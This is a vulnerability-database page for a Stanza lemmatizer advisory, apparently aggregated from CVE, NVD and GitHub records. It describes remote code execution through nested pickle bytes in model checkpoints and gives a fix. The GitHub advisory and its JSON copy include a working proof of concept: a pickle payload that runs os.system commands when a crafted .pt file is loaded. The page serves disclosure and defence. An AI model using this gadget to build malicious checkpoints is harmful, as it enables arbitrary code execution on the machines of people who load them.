Vulnerability-Lookup

CVE-2026-115878 (GCVE-0-2026-115878)

Vulnerability from cvelistv5 – Published: 2026-11-03 20:26 – Updated: 2026-11-03 22:39

Title

Stanza: RCE via pickle deserialization in the lemmatizer

Summary

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-11-03 22:36 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-502 - Deserialization of Untrusted Data

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7913 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/stanfordnlp/stanza/security/ad…	x_refsource_CONFIRM
https://github.com/stanfordnlp/stanza/pull/1649	x_refsource_MISC
https://github.com/stanfordnlp/stanza/commit/b21e…	x_refsource_MISC
https://github.com/stanfordnlp/stanza/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
stanfordnlp	stanza	Affected: = 1.14.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-115878

Vulnerability from fkie_nvd - Published: 2026-11-03 21:17 - Updated: 2026-11-03 23:17

Severity

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
	security-advisories@github.com	https://github.com/stanfordnlp/stanza/pull/1649
	security-advisories@github.com	https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0
	security-advisories@github.com	https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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  "affected": [
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      "affectedData": [
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          "product": "stanza",
          "vendor": "stanfordnlp",
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    }
  ],
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  "lastModified": "2026-11-03T23:17:30.297",
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GHSA-GH9R-C94J-CMP5

Vulnerability from github – Published: 2026-11-03 20:29 – Updated: 2026-11-03 20:29

Summary

Stanza: RCE via pickle deserialization in the lemmatizer

Details

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler

def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "stanza"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.14.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-03T20:29:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint\u0027s `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"\u003cattacker-influenced .pt\u003e\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -\u003e `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -\u003e pickle -\u003e gzip -\u003e bytes, stored under checkpoint[\u0027dicts\u0027]\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # \u003c-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint[\u0027dicts\u0027])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=\u003cfile\u003e)` -\u003e `LemmaProcessor._set_up_model` -\u003e `Trainer(model_file=\u2026)` -\u003e `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id \u003e %s 2\u003e\u00261; echo executed_by=$(whoami) \u003e\u003e %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -\u003e command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.",
  "id": "GHSA-gh9r-c94j-cmp5",
  "modified": "2026-11-03T20:29:16Z",
  "published": "2026-11-03T20:29:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/pull/1649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stanfordnlp/stanza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stanza: RCE via pickle deserialization in the lemmatizer"
}

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-115878 (GCVE-0-2026-115878)

FKIE_CVE-2026-115878

GHSA-GH9R-C94J-CMP5

TL;DR

The vulnerable path

Minimal PoC

Fix

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